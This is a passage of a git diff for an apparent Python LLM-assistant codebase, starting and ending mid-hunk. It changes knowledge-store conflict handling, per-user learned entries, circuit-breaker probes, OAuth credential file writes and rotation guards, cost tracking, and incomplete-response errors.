imports stored only extracted text, source and uploader, + not URL provenance. Even identical content cannot prove URL ownership. + Reusing an exact, durable snapshot is safe because it does not write or + claim that ownership. Changed/missing snapshots require an explicit + source choice; they must never be replaced on a basename match alone. + """ + entries = {str(entry["source"]): entry for entry in self._store.list_sources()} + if canonical_source in entries: + return None + # Match the historical algorithm exactly, including query/fragment text. + legacy_source = url.rsplit("/", 1)[-1] or url + entry = entries.get(legacy_source) + if entry is None: + return None + snapshot = self._store.get_source_snapshot(legacy_source) + content_hash = hashlib.sha256(content.strip().lower().encode("utf-8")).hexdigest() + if snapshot == content and await self._store.source_is_durable_async( + legacy_source, int(entry["chunks"]), expected_content_hash=content_hash, + ): + return ImportResult( + source=legacy_source, status="ok", chunks=int(entry["chunks"]), + outcome="unchanged", note=( + f"{ALREADY_STORED_NOTE}; reusing identical legacy PDF content " + "without assuming its original URL" + ), + ) + return ImportResult( + source=canonical_source, status="error", outcome="conflict", + error=( + f"legacy PDF source conflict ('{legacy_source}'): original URL was " + "not recorded and exact durable content could not be verified; " + f"set source='{legacy_source}' explicitly to replace it, or " + f"source='{canonical_source}' to import separately" + ), + ) + async def import_web_url( self, url: str, diff --git a/src/knowledge/store.py b/src/knowledge/store.py index 5ea3ef441..7f45a691a 100644 --- a/src/knowledge/store.py +++ b/src/knowledge/store.py @@ -301,9 +301,16 @@ async def _ingest_locked( return outcome # Existing rows remain searchable until replacement is verified. - old_content = await to_thread_settled(self.get_source_content, source) - action = "update" if old_content is not None else "create" - diff_summary = self._make_diff_summary(old_content, content) + old_content = await to_thread_settled(self.get_source_snapshot, source) + source_exists = old_content is not None or await to_thread_settled( + self.get_source_content, source, + ) is not None + action = "update" if source_exists else "create" + diff_summary = ( + "previous full snapshot unavailable; content changes not measured" + if source_exists and old_content is None + else self._make_diff_summary(old_content, content) + ) indexed = await to_thread_settled( self._write_chunks_sync, chunks, @@ -1201,19 +1208,21 @@ def find_duplicates(self) -> list[dict]: return [] try: rows = self._conn.execute( # type: ignore[union-attr] - "SELECT doc_content_hash, GROUP_CONCAT(DISTINCT source) as sources, " - "COUNT(DISTINCT source) as src_count " + "SELECT DISTINCT doc_content_hash, source " "FROM knowledge_chunks " "WHERE doc_content_hash IS NOT NULL AND doc_content_hash != '' " - "GROUP BY doc_content_hash HAVING src_count > 1" + "ORDER BY doc_content_hash, source" ).fetchall() + grouped: dict[str, list[str]] = {} + for content_hash, source in rows: + grouped.setdefault(content_hash, []).append(source) return [ { - "content_hash": r[0], - "sources": r[1].split(","), - "source_count": r[2], + "content_hash": content_hash, + "sources": sources, + "source_count": len(sources), } - for r in rows + for content_hash, sources in grouped.items() if len(sources) > 1 ] except Exception: return [] diff --git a/src/learning/reflector.py b/src/learning/reflector.py index bcb8554a3..84a83ed77 100644 --- a/src/learning/reflector.py +++ b/src/learning/reflector.py @@ -193,7 +193,7 @@ def __init__( self._text_fn: TextFn | None = None self._consolidation_fn: TextFn | None = None self._injection_cache: tuple[float, dict] | None = None - self._use_stamps: dict[str, str] = {} + self._use_stamps: dict[tuple[str, str | None], str] = {} def is_enabled(self) -> bool: """Return the live master switch for automatic learned behavior. @@ -700,14 +700,14 @@ def _note_used(self, entries: list[dict]) -> None: the 180-day staleness window, so eventual persistence is fine.""" now = datetime.now(UTC).isoformat(timespec="seconds") for e in entries: - self._use_stamps[e.get("key", "")] = now + self._use_stamps[self._entry_identity(e)] = now def _apply_use_stamps(self, entries: list[dict]) -> None: """Fold pending in-memory usage stamps into entries (call under lock).""" if not self._use_stamps: return for e in entries: - stamp = self._use_stamps.get(e.get("key", "")) + stamp = self._use_stamps.get(self._entry_identity(e)) if stamp: e["last_used_at"] = stamp self._use_stamps.clear() @@ -754,7 +754,8 @@ async def reflect_on_operation( ) existing = self._load().get("entries", []) - existing_text = self._relevant_existing_text(existing, operation_summary) + visible = [e for e in existing if e.get("user_id") in (None, user_id)] + existing_text = self._relevant_existing_text(visible, operation_summary) prompt = ( "Review this completed operation and extract ONLY durable operational " @@ -904,7 +905,9 @@ async def _reflect( return existing = data.get("entries", []) - existing_text = self._relevant_existing_text(existing, conversation) + visible = [e for e in existing if e.get("user_id") is None + or e.get("user_id") in (user_ids or [])] + existing_text = self._relevant_existing_text(visible, conversation) # When multiple users participated, instruct the LLM to attribute entries user_hint = "" @@ -1000,23 +1003,30 @@ def _attribute_personal_entries(entries: list[dict], user_ids: list[str]) -> lis accepted.append(entry) return accepted + @staticmethod + def _entry_identity(entry: dict) -> tuple[str, str | None]: + """A lesson key is local to its owner; None is the explicit shared scope.""" + return entry.get("key", ""), entry.get("user_id") + @staticmethod def _merge_entries(existing: list[dict], new_entries: list[dict]) -> list[dict]: now = datetime.now(UTC).isoformat(timespec="seconds") - by_key = {e["key"]: e for e in existing} + by_key = {ConversationReflector._entry_identity(e): e for e in existing} for entry in new_entries: + identity = ConversationReflector._entry_identity(entry) _clip_content(entry) entry.setdefault("confidence", _default_confidence(entry.get("category", ""))) # A new entry may explicitly supersede older ones — remove them, # keeping the list on the new entry for provenance. for superseded_key in entry.get("supersedes", []): - if superseded_key in by_key and superseded_key != entry["key"]: - by_key.pop(superseded_key) + superseded = (superseded_key, identity[1]) + if superseded in by_key and superseded != identity: + by_key.pop(superseded) log.info( "Learned entry %r superseded by %r", superseded_key, entry["key"], ) - if entry["key"] in by_key: - current = by_key[entry["key"]] + if identity in by_key: + current = by_key[identity] current["content"] = entry["content"] current["category"] = entry["category"] current["updated_at"] = now @@ -1031,7 +1041,7 @@ def _merge_entries(existing: list[dict], new_entries: list[dict]) -> list[dict]: else: entry["created_at"] = now entry["updated_at"] = now - by_key[entry["key"]] = entry + by_key[identity] = entry return list(by_key.values()) def _expire_entries(self, entries: list[dict]) -> list[dict]: @@ -1049,14 +1059,12 @@ def _expire_entries(self, entries: list[dict]) -> list[dict]: if days is None: kept.append(e) continue - ref = e.get("last_used_at") or e.get("updated_at") or e.get("created_at") - if not ref: - kept.append(e) - continue - ref_dt = _parse_entry_timestamp(ref) - if ref_dt is None: + activity = [parsed for field in _ENTRY_TIMESTAMP_FIELDS + if (parsed := _parse_entry_timestamp(e.get(field))) is not None] + if not activity: kept.append(e) continue + ref_dt = max(activity) try: is_recent = now - ref_dt <= timedelta(days=days) except (TypeError, ValueError, OverflowError): @@ -1312,12 +1320,24 @@ def _fallback() -> list[dict]: return _fallback() # Preserve timestamps and metadata from originals where possible - orig_by_key = {e["key"]: e for e in candidates} + orig_by_identity = {self._entry_identity(e): e for e in candidates} + originals_by_key: dict[str, list[dict]] = {} + for original in candidates: + originals_by_key.setdefault(original["key"], []).append(original) now = datetime.now(UTC).isoformat(timespec="seconds") for entry in consolidated: _clip_content(entry) - if entry["key"] in orig_by_key: - orig = orig_by_key[entry["key"]] + orig = orig_by_identity.get(self._entry_identity(entry)) + same_key = originals_by_key.get(entry["key"], []) + if orig is None and same_key: + # Legacy consolidations may omit ownership of an unambiguous + # key. Never guess when the same key belongs to multiple users. + if len(same_key) == 1 and "user_id" not in entry: + orig = same_key[0] + else: + log.warning("Consolidation changed or lost ownership; retaining originals") + return candidates + damaged + if orig is not None: entry["created_at"] = orig.get("created_at", now) entry["updated_at"] = now for field in ("user_id", "topic", "tags", "confidence", "source", "last_used_at"): @@ -1335,17 +1355,17 @@ def _fallback() -> list[dict]: participants = {e["user_id"] for e in candidates if isinstance(e.get("user_id"), str) and e["user_id"].strip()} for entry in consolidated: - original = orig_by_key.get(entry["key"]) - if original and original.get("user_id"): - if entry.get("user_id") != original["user_id"]: + attributed_original = orig_by_identity.get(self._entry_identity(entry)) + if attributed_original and attributed_original.get("user_id"): + if entry.get("user_id") != attributed_original["user_id"]: log.warning("Consolidation changed personal ownership; retaining originals") return candidates + damaged if entry["category"] in ("preference", "correction"): # An existing explicitly global entry may stay global. A model # cannot manufacture global personal entries under a new key. - existing_global = (original is not None - and not original.get("user_id") - and original.get("category") == entry["category"] + existing_global = (attributed_original is not None + and not attributed_original.get("user_id") + and attributed_original.get("category") == entry["category"] and not entry.get("user_id")) if not existing_global and entry.get("user_id") not in participants: log.warning("Consolidation lost personal attribution; retaining originals") diff --git a/src/llm/auxiliary.py b/src/llm/auxiliary.py index 4c0a51245..a4260ee34 100644 --- a/src/llm/auxiliary.py +++ b/src/llm/auxiliary.py @@ -18,6 +18,7 @@ from ..odin_log import get_logger from .circuit_breaker import CircuitOpenError from .cost_tracker import CostTracker +from .errors import LLMIncompleteResponseError if TYPE_CHECKING: pass @@ -47,9 +48,11 @@ def __init__( provider: str = "codex", model: str | None = None, owns_aux_client: bool = True, + primary_model: str | None = None, ) -> None: self.aux_client = aux_client self.primary_client = primary_client + self.primary_model = primary_model self.cost_tracker = cost_tracker self.provider = provider self.model = model or getattr(aux_client, "model", None) @@ -106,9 +109,14 @@ async def chat( # A reload may rebind the wrapper while the cheap call is pending. # Its fallback belongs to this call's captured primary generation. primary = self.primary_client + primary_model = self.primary_model lease = getattr(primary, "generation_lease", None) - async with lease() if lease else contextlib.nullcontext(): - return await self._chat_aux(messages, system, task, max_tokens, primary) + aux_lease = getattr(self.aux_client, "generation_lease", None) + async with aux_lease() if aux_lease else contextlib.nullcontext(): + async with lease() if lease else contextlib.nullcontext(): + return await self._chat_aux( + messages, system, task, max_tokens, primary, primary_model, + ) async def _chat_aux( self, @@ -117,6 +125,7 @@ async def _chat_aux( task: str, max_tokens: int | None, primary_client=None, + primary_model=None, ) -> str: try: kwargs: dict[str, Any] = {"max_tokens": max_tokens} @@ -125,9 +134,12 @@ async def _chat_aux( result = await self.aux_client.chat(messages, system, **kwargs) if result: self._aux_calls += 1 - self._track_cost(task, client=self.aux_client) + self._track_cost(task, client=self.aux_client, model=self.model, result=result) return result log.warning("Auxiliary LLM returned empty response for %s, falling back", task) + except LLMIncompleteResponseError: + # An accepted partial generation must not be retried away via fallback. + raise except CircuitOpenError: log.warning("Auxiliary LLM circuit open for %s, falling back", task) except Exception as exc: @@ -135,8 +147,11 @@ async def _chat_aux( self._fallback_calls += 1 primary = primary_client if primary_client is not None else self.primary_client - result = await primary.chat(messages, system, max_tokens=max_tokens) - self._track_cost(task, client=primary) + kwargs = {"max_tokens": max_tokens} + if primary_model: + kwargs["model"] = primary_model + result = await primary.chat(messages, system, **kwargs) + self._track_cost(task, client=primary, model=primary_model, result=result) return result def make_chat_fn(self, task: str): @@ -178,13 +193,15 @@ async def close(self) -> None: if self.owns_aux_client: await self.aux_client.close() - def _track_cost(self, task: str, *, client: Any) -> None: + def _track_cost(self, task: str, *, client: Any, model: str | None = None, result=None) -> None: if self.cost_tracker is None: return self.cost_tracker.record( - input_tokens=getattr(client, "_last_input_tokens", 0), - output_tokens=getattr(client, "_last_output_tokens", 0), - model=client.model, + input_tokens=getattr(result, "input_tokens", getattr(client, "_last_input_tokens", 0)), + output_tokens=getattr( + result, "output_tokens", getattr(client, "_last_output_tokens", 0) + ), + model=getattr(result, "model", None) or model or client.model, user_id=f"auxiliary:{task}", channel_id="system", ) diff --git a/src/llm/circuit_breaker.py b/src/llm/circuit_breaker.py index 334315866..89e705d31 100644 --- a/src/llm/circuit_breaker.py +++ b/src/llm/circuit_breaker.py @@ -15,8 +15,29 @@ """ from __future__ import annotations +import asyncio import threading import time +from functools import wraps + + +def breaker_call(method): + """Settle probe ownership even when a transport is cancelled or rejects locally.""" + @wraps(method) + async def call(self, *args, **kwargs): + self.breaker.check() + try: + return await method(self, *args, **kwargs) + finally: + self.breaker.abandon() + return call + + +def _caller(): + try: + return asyncio.current_task() or threading.current_thread() + except RuntimeError: + return threading.current_thread() class CircuitOpenError(Exception): @@ -61,6 +82,7 @@ def __init__( self._failure_count = 0 self._last_failure_time = 0.0 self._state = "closed" + self._probe_owner = None self._lock = threading.Lock() @property @@ -80,22 +102,40 @@ def check(self) -> None: """ with self._lock: current = self._state + if self._probe_owner is not None: + raise CircuitOpenError(self.name, self.recovery_timeout) if current == "open": elapsed = time.monotonic() - self._last_failure_time if elapsed < self.recovery_timeout: remaining = self.recovery_timeout - elapsed raise CircuitOpenError(self.name, max(0.0, remaining)) - # Recovery timeout passed — allow probe (half_open) + self._state = "half_open" + self._probe_owner = _caller() + elif current == "half_open": + raise CircuitOpenError(self.name, self.recovery_timeout) + + def abandon(self) -> None: + """Release only this caller's probe, without counting a provider failure.""" + with self._lock: + if self._probe_owner is _caller(): + self._probe_owner = None + if self._state == "half_open": + self._state = "open" # elapsed timer allows the next probe immediately def record_success(self) -> None: """Record a successful API call. Resets failure count, closes breaker.""" with self._lock: + if self._probe_owner is not None and self._probe_owner is not _caller(): + return self._failure_count = 0 self._state = "closed" + self._probe_owner = None def record_failure(self) -> None: """Record a failed API call. Opens breaker after threshold is reached.""" with self._lock: + if self._probe_owner is not None and self._probe_owner is not _caller(): + return self._failure_count += 1 self._last_failure_time = time.monotonic() if self._failure_count >= self.failure_threshold: diff --git a/src/llm/client_lifecycle.py b/src/llm/client_lifecycle.py index 4aeeed617..dd8d3d2d4 100644 --- a/src/llm/client_lifecycle.py +++ b/src/llm/client_lifecycle.py @@ -2,14 +2,16 @@ import asyncio from contextlib import asynccontextmanager +from contextvars import ContextVar from functools import wraps from ..odin_log import get_logger -from .errors import LLMTransportError +from .errors import LLMClientRetiredError log = get_logger("client_lifecycle") SHUTDOWN_DRAIN_SECONDS = 3.0 SHUTDOWN_CLOSE_SECONDS = 1.0 +_leased_generations: ContextVar[tuple] = ContextVar("leased_generations", default=()) def _observe_shutdown_task(task): @@ -98,14 +100,20 @@ def _lifecycle_state(self): async def generation_lease(self): self._lifecycle_state() owner = asyncio.current_task() - if self._generation_retired and owner not in self._generation_owners: - raise LLMTransportError("Provider generation retired; capture the current client") + inherited = any( + client is self and parent in self._generation_owners + for client, parent in _leased_generations.get() + ) + if self._generation_retired and owner not in self._generation_owners and not inherited: + raise LLMClientRetiredError("Provider generation retired; capture the current client") + context_token = _leased_generations.set((*_leased_generations.get(), (self, owner))) self._generation_owners[owner] = self._generation_owners.get(owner, 0) + 1 self._generation_inflight += 1 self._generation_idle.clear() try: yield finally: + _leased_generations.reset(context_token) self._generation_owners[owner] -= 1 if not self._generation_owners[owner]: del self._generation_owners[owner] diff --git a/src/llm/codex_auth.py b/src/llm/codex_auth.py index 62f363989..cb263cc05 100644 --- a/src/llm/codex_auth.py +++ b/src/llm/codex_auth.py @@ -5,7 +5,9 @@ import hashlib import json import os +import tempfile import time +import uuid from pathlib import Path import aiohttp @@ -24,14 +26,41 @@ def _atomic_write_secure(path: Path, content: str) -> None: """Write content to a file atomically with 0600 permissions.""" - tmp = path.with_suffix(".tmp") - fd = os.open(str(tmp), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + fd, name = tempfile.mkstemp(prefix=f".{path.name}.", suffix=".tmp", dir=path.parent) + tmp = Path(name) try: - os.write(fd, content.encode()) - os.fsync(fd) + try: + remaining = memoryview(content.encode()) + while remaining: + written = os.write(fd, remaining) + if written <= 0: + raise OSError("Credential write made no progress") + remaining = remaining[written:] + os.fsync(fd) + finally: + os.close(fd) + tmp.replace(path) finally: - os.close(fd) - tmp.rename(path) + tmp.unlink(missing_ok=True) + + +def mark_authorized_account(creds: dict) -> dict: + """Fence shadows from an older login while keeping refresh recovery intact.""" + return {**creds, "_authorization_revision": uuid.uuid4().hex} + + +def merge_authorized_account(raw: dict | list, creds: dict) -> list: + """Add an authorized account, replacing only the same identified account.""" + accounts = list(raw) if isinstance(raw, list) else [raw] + creds = mark_authorized_account(creds) + account_id = creds.get("account_id") + for index, existing in enumerate(accounts): + if (account_id and isinstance(existing, dict) + and existing.get("account_id") == account_id): + accounts[index] = {**existing, **creds} + return accounts + accounts.append(creds) + return accounts # OAuth constants for OpenAI Codex CLI CLIENT_ID = "app_EMoamEEZ73f0CkXaXp7hrann" @@ -88,7 +117,7 @@ def _decode_jwt_payload(token: str) -> dict: class CodexAuth: - def __init__(self, credentials_path: str, on_save=None) -> None: + def __init__(self, credentials_path: str, on_save=None, save_guard=None) -> None: self._path = Path(credentials_path) self._credentials: dict | None = None self._refresh_lock = asyncio.Lock() @@ -97,6 +126,7 @@ def __init__(self, credentials_path: str, on_save=None) -> None: # multi-account file must see every rotation — otherwise a restart # resurrects a burned refresh token and the account dies on next use. self.on_save = on_save + self.save_guard = save_guard def is_configured(self) -> bool: """Check if credentials file exists and has tokens.""" @@ -119,6 +149,10 @@ def _load(self) -> dict: return self._credentials def _save(self, creds: dict) -> None: + # Check BEFORE touching either canonical or shadow storage. A retired + # refresh may finish after deletion/re-auth, but must never publish. + if self.save_guard is not None and not self.save_guard(): + raise LLMAuthError("Codex account changed during refresh.", provider="codex") self._path.parent.mkdir(parents=True, exist_ok=True) _atomic_write_secure(self._path, json.dumps(creds, indent=2)) self._credentials = creds @@ -260,6 +294,9 @@ async def _refresh(self, creds: dict) -> None: if creds.get("label"): new_creds["label"] = creds["label"] + if "_authorization_revision" in creds: + new_creds["_authorization_revision"] = creds["_authorization_revision"] + self._save(new_creds) log.info("Codex tokens refreshed successfully") @@ -443,6 +480,10 @@ def __init__(self, credentials_path: str) -> None: self.quota = CodexQuotaTracker() self._quota_check_failures: dict[str, str] = {} self._manual_active_index: int | None = None + self._generation = 0 + self._canonical_indices: list[int] = [] + self._loaded_records: dict[int, dict] = {} + self._loaded_auths: dict[int, CodexAuth] = {} self._init_accounts() def _init_accounts(self) -> None: @@ -457,6 +498,12 @@ def _init_accounts(self) -> None: account_id at the same slot (account deleted/reordered) means the canonical entry is authoritative. """ + self._generation = getattr(self, "_generation", 0) + 1 + self._canonical_indices = [] + previous_records = getattr(self, "_loaded_records", {}) + previous_auths = getattr(self, "_loaded_auths", {}) + self._loaded_records = {} + self._loaded_auths = {} if not self._path.exists(): return try: @@ -476,6 +523,10 @@ def _init_accounts(self) -> None: shadow is not None and bool(creds.get("account_id")) and shadow.get("account_id") == creds.get("account_id") + and shadow.get("_authorization_revision") + == creds.get("_authorization_revision") + and (i not in previous_records + or self._same_credentials(creds, previous_records[i])) ) if ( # same_account (above) already requires shadow is not @@ -486,13 +537,29 @@ def _init_accounts(self) -> None: ): # Shadow holds newer (rotated) tokens — keep it and pull # the canonical entry up to date instead of the reverse. + if shadow is not None and "label" in creds: + shadow = {**shadow, "label": creds["label"]} + _atomic_write_secure(individual_path, json.dumps(shadow, indent=2)) if shadow != creds: raw[i] = shadow canonical_dirty = True else: _atomic_write_secure(individual_path, json.dumps(creds, indent=2)) - auth = CodexAuth(str(individual_path), on_save=self._canonical_sync(i)) + expected = dict(raw[i]) + self._loaded_records[i] = expected + generation = self._generation + # An unchanged reload must retain the refresh lock and any + # in-flight single-use rotation, not create a second consumer. + auth = previous_auths.get(i) + if (auth is None or i not in previous_records + or auth._path != individual_path + or not self._same_credentials(expected, previous_records[i])): + auth = CodexAuth(str(individual_path)) + auth.on_save = self._canonical_sync(i, expected, generation) + auth.save_guard = self._save_guard(i, expected, generation) + self._loaded_auths[i] = auth self._accounts.append(auth) + self._canonical_indices.append(i) valid_count = i + 1 if canonical_dirty: _atomic_write_secure(self._path, json.dumps(raw, indent=2)) @@ -506,7 +573,22 @@ def _init_accounts(self) -> None: log.info("Codex auth pool: %d account(s) loaded", len(self._accounts)) elif isinstance(raw, dict) and raw.get("access_token"): # Single account (backward compat) — use the file directly - self._accounts.append(CodexAuth(str(self._path))) + expected = dict(raw) + + def update_expected(creds: dict) -> None: + expected.clear() + expected.update(creds) + + auth = previous_auths.get(0) + if (auth is None or auth._path != self._path or 0 not in previous_records + or not self._same_credentials(raw, previous_records[0])): + auth = CodexAuth(str(self._path)) + auth.on_save = update_expected + auth.save_guard = self._save_guard(0, expected, self._generation) + self._loaded_records[0] = expected + self._loaded_auths[0] = auth + self._accounts.append(auth) + self._canonical_indices.append(0) log.info("Codex auth pool: 1 account loaded (single format)") @staticmethod @@ -519,17 +601,64 @@ def _load_creds_file(path: Path) -> dict | None: return None return data if isinstance(data, dict) else None - def _canonical_sync(self, index: int): + @property + def generation(self) -> int: + """Account-list revision, including reloads on the same pool object.""" + return getattr(self, "_generation", 0) + + @staticmethod + def canonical_index(raw: dict | list, index: int) -> int: + """Translate a displayed valid-account slot to its canonical record.""" + rows = raw if isinstance(raw, list) else [raw] + valid = [i for i, row in enumerate(rows) + if isinstance(row, dict) and row.get("access_token")] + if index < 0 or index >= len(valid): + raise ValueError("account index out of range") + return valid[index] + + @staticmethod + def _same_credentials(left: dict, right: dict) -> bool: + # Labels and other operator metadata may change during refresh. + return all(left.get(key) == right.get(key) for key in ( + "access_token", "refresh_token", "account_id", "expires_at", "_authorization_revision", + )) + + def _save_guard(self, index: int, expected: dict, generation: int): + def _guard() -> bool: + if self.generation != generation: + return False + try: + raw = json.loads(self._path.read_text()) + row = raw[index] if isinstance(raw, list) else raw if index == 0 else None + return isinstance(row, dict) and self._same_credentials(row, expected) + except (OSError, ValueError, IndexError): + return False + return _guard + + def _canonical_sync(self, index: int, expected: dict | None = None, + generation: int | None = None): """Build an on_save hook that mirrors account *index* back to the canonical file.""" def _sync(creds: dict) -> None: + if generation is not None and self.generation != generation: + return try: raw = json.loads(self._path.read_text()) except Exception: return if not isinstance(raw, list) or index >= len(raw): return + if expected is not None and ( + not isinstance(raw[index], dict) + or not self._same_credentials(raw[index], expected) + ): + return + if isinstance(raw[index], dict) and "label" in raw[index]: + creds["label"] = raw[index]["label"] raw[index] = creds _atomic_write_secure(self._path, json.dumps(raw, indent=2)) + if expected is not None: + expected.clear() + expected.update(creds) return _sync @staticmethod @@ -884,6 +1013,8 @@ async def mark_auth_failed(self, index: int) -> bool: return False account = self._accounts[index] account.mark_rate_limited(AUTH_FAILED_BACKOFF_SECONDS) + if getattr(self, "_manual_active_index", None) == index: + self._manual_active_index = None label = self._account_label(account, index) if len(self._accounts) > 1: if self._current_index == index: @@ -946,6 +1077,7 @@ def reload(self) -> None: """Reload the pool from the canonical credentials file (sync compat).""" self._accounts.clear() self._current_index = 0 + self._manual_active_index = None self._init_accounts() log.info("Codex auth pool reloaded: %d account(s)", len(self._accounts)) @@ -953,6 +1085,7 @@ async def reload_async(self) -> int: """Reload under lock to avoid racing in-flight token operations.""" async with self._pool_lock: self._accounts.clear() + self._manual_active_index = None self._init_accounts() self._current_index = min(self._current_index, max(len(self._accounts) - 1, 0)) log.info("Codex auth pool reloaded (async): %d account(s)", len(self._accounts)) diff --git a/src/llm/codex_quota_check.py b/src/llm/codex_quota_check.py index fd92a5952..500be9fbc 100644 --- a/src/llm/codex_quota_check.py +++ b/src/llm/codex_quota_check.py @@ -80,13 +80,18 @@ async def check_once(self) -> None: pool = self.get_pool() if pool is None: return + generation = pool.generation + + def current() -> bool: + return self.get_pool() is pool and pool.generation == generation + now = pool.quota._clock() - for index in range(pool.account_count): - if self.get_pool() is not pool: + accounts = pool.describe_accounts() + for index, account in enumerate(accounts): + if not current(): return # Configured slots only. This query is read-only and does not # choose, rotate, or activate an account. - account = pool.describe_accounts()[index] if not account.get("configured"): continue key = account.get("key") @@ -96,7 +101,7 @@ async def check_once(self) -> None: request_started = False try: token, account_id = await pool.token_for(index) - if self.get_pool() is not pool: + if not current(): return key = opaque_account_key(account_id) if not key: @@ -114,7 +119,7 @@ async def check_once(self) -> None: json=_CHECK_BODY, timeout=aiohttp.ClientTimeout(total=self.timeout), ) as response: - if self.get_pool() is not pool: + if not current(): return pool.quota.record_headers(key, response.headers) if 200 <= response.status < 300: @@ -128,5 +133,5 @@ async def check_once(self) -> None: # Keep this display-safe: exception text can contain upstream # content or credential-adjacent details. reason = "request failed" if request_started else "credential refresh failed" - if self.get_pool() is pool: + if current(): pool.set_quota_check_failure(index, reason) diff --git a/src/llm/context_compressor.py b/src/llm/context_compressor.py index 1b9d9651c..8389db2d1 100644 --- a/src/llm/context_compressor.py +++ b/src/llm/context_compressor.py @@ -25,7 +25,10 @@ @dataclass class CompressionStats: - """Observable counters for context compression and prefix caching.""" + """Compression counters and optional local prefix-equality diagnostics. + + Local prefix equality is not evidence of provider-side cached tokens. + """ compressions: int = 0 iterations_compressed: int = 0 @@ -42,8 +45,10 @@ def as_dict(self) -> dict: "prefix_hits": self.prefix_hits, "prefix_misses": self.prefix_misses, "total_checks": self.total_checks, + "prefix_measurement": "local_prefix_equality" if self.total_checks else "unmeasured", + "upstream_cache_measured": False, "prefix_hit_rate": ( - round(self.prefix_hits / self.total_checks, 3) if self.total_checks > 0 else 0.0 + round(self.prefix_hits / self.total_checks, 3) if self.total_checks > 0 else None ), } @@ -57,7 +62,8 @@ class PrefixTracker: Call :meth:`check` before each LLM call with the system prompt and the non-tool-iteration prefix messages. Returns *True* when the - prefix matches the previous call (a provider-side "cache hit"). + prefix matches the previous call. This is local equality only, not + provider-side cache-hit evidence. """ __slots__ = ("_last_hash", "_stats") @@ -71,7 +77,7 @@ def stats(self) -> CompressionStats: return self._stats def check(self, system: str, prefix_messages: list[dict]) -> bool: - """Return *True* if prefix matches the previous call (cache hit). + """Return *True* if prefix matches the previous call locally. The very first call always returns *False* (nothing to compare). """ diff --git a/src/llm/cost_tracker.py b/src/llm/cost_tracker.py index 1aafc0805..686faca3e 100644 --- a/src/llm/cost_tracker.py +++ b/src/llm/cost_tracker.py @@ -1,8 +1,7 @@ """LLM cost tracking — token estimation and USD cost aggregation. Tracks estimated prompt/completion tokens and USD cost per Codex call, -aggregated by user, channel, and tool. Exposes data for Prometheus -metrics and the REST API. +aggregated by user, channel, and tool. Exposes data through the REST API. Token counts are *estimates* (≈4 chars per token) because the Codex Responses API does not return usage metadata in its SSE stream. @@ -212,21 +211,3 @@ def get_summary(self) -> dict: "note": "Token counts are estimates (~4 chars/token)", }, } - - def get_prometheus_metrics(self) -> dict: - """Return dict consumed by MetricsCollector.""" - with self._lock: - return { - "total_input_tokens": self._total_input_tokens, - "total_output_tokens": self._total_output_tokens, - "total_cost_usd": round(self._total_cost_usd, 6), - "total_requests": self._total_requests, - "by_user": { - uid: {**v, "cost_usd": round(v["cost_usd"], 6)} - for uid, v in self._by_user.items() - }, - "by_channel": { - cid: {**v, "cost_usd": round(v["cost_usd"], 6)} - for cid, v in self._by_channel.items() - }, - } diff --git a/src/llm/errors.py b/src/llm/errors.py index 2309c3447..4fd584e4e 100644 --- a/src/llm/errors.py +++ b/src/llm/errors.py @@ -121,3 +121,15 @@ class LLMContextLengthError(LLMRequestError): """A provider positively identified a context-window overflow.""" retryable = False + + +class LLMIncompleteResponseError(LLMRequestError): + """Provider-declared partial output, retained verbatim and never replayed.""" + + def __init__(self, message: str, *, partial_text: str = "", **kwargs) -> None: + super().__init__(message, **kwargs) + self.partial_text = partial_text + + +class LLMClientRetiredError(LLMRequestError): + """Local generation retirement, not an upstream transport failure.""" diff --git a/src/llm/model_breaker.py b/src/llm/model_breaker.py index bb853797a..48d47dfb5 100644 --- a/src/llm/model_breaker.py +++ b/src/llm/model_breaker.py @@ -15,8 +15,7 @@ exactly once when a whole generation's recovery budget is exhausted. - **True single-probe half-open.** When the cooldown elapses, exactly one caller is admitted as the probe; everyone else keeps waiting until the - probe resolves. (``CircuitBreaker.check()`` lets every concurrent caller - through after the timeout — documented gap.) + probe resolves. The transport breaker independently reserves its own probe. - **Adaptive cooldown.** Consecutive opens double the cooldown up to a cap, so a long outage probes progressively less often; any success resets it. @@ -27,6 +26,7 @@ from __future__ import annotations +import math import threading import time @@ -94,6 +94,8 @@ def _current_cooldown(self) -> float: # Lock held by caller. First open waits cooldown_base, each # consecutive re-open doubles it up to the cap. exponent = max(0, self._consecutive_opens - 1) + if exponent >= math.log2(self.cooldown_cap) - math.log2(self.cooldown_base): + return self.cooldown_cap return min(self.cooldown_cap, self.cooldown_base * (2.0**exponent)) def snapshot(self) -> dict: diff --git a/src/llm/ollama.py b/src/llm/ollama.py index 4da7f0036..f2425c49c 100644 --- a/src/llm/ollama.py +++ b/src/llm/ollama.py @@ -14,7 +14,7 @@ from ..odin_log import get_logger from .backoff import DEFAULT_BASE_DELAY, DEFAULT_MAX_DELAY, DEFAULT_MAX_RETRIES, compute_backoff -from .circuit_breaker import CircuitBreaker +from .circuit_breaker import CircuitBreaker, breaker_call from .client_lifecycle import leased_call from .cost_tracker import estimate_tokens from .errors import LLMRequestError, LLMTransportError @@ -183,11 +183,11 @@ def _convert_tools(self, tools: list[dict]) -> list[dict]: }) return ollama_tools + @breaker_call async def _request_with_retry(self, body: dict) -> dict: """Send a request to Ollama with retry logic.""" from ..observability.diagnostics import safe_error - self.breaker.check() session = await self._get_session() self._total_requests += 1 url = f"{self.base_url}/api/chat" @@ -259,7 +259,24 @@ async def chat( }, } data = await self._request_with_retry(body) - return data.get("message", {}).get("content", "") + response = self._parse_response(data) + self._last_input_tokens = response.input_tokens + self._last_output_tokens = response.output_tokens + served_model = data.get("model") + self._last_model = ( + served_model if isinstance(served_model, str) and served_model else model or self.model + ) + if response.stop_reason == "incomplete": + from .errors import LLMIncompleteResponseError + + raise LLMIncompleteResponseError( + "Ollama returned an incomplete response", partial_text=response.text, + provider="ollama", model=body["model"], code="output_truncated", + ) + from .types import ChatText + + return ChatText(response.text, model=self._last_model, + input_tokens=response.input_tokens, output_tokens=response.output_tokens) @leased_call async def chat_with_tools( @@ -310,6 +327,14 @@ def _parse_response(self, data: dict) -> LLMResponse: )) stop_reason = "tool_use" if tool_calls else "end_turn" + if data.get("done_reason") == "length" or data.get("done") is False: + stop_reason = "incomplete" + tool_calls = [] # Never execute calls from an unsettled response. + elif not text.strip() and not tool_calls: + from .errors import LLMRequestError + + raise LLMRequestError("Ollama returned an empty response", provider="ollama", + model=self.model, code="empty_response") raw_input_tokens = data.get("prompt_eval_count") raw_output_tokens = data.get("eval_count") diff --git a/src/llm/openai_codex.py b/src/llm/openai_codex.py index 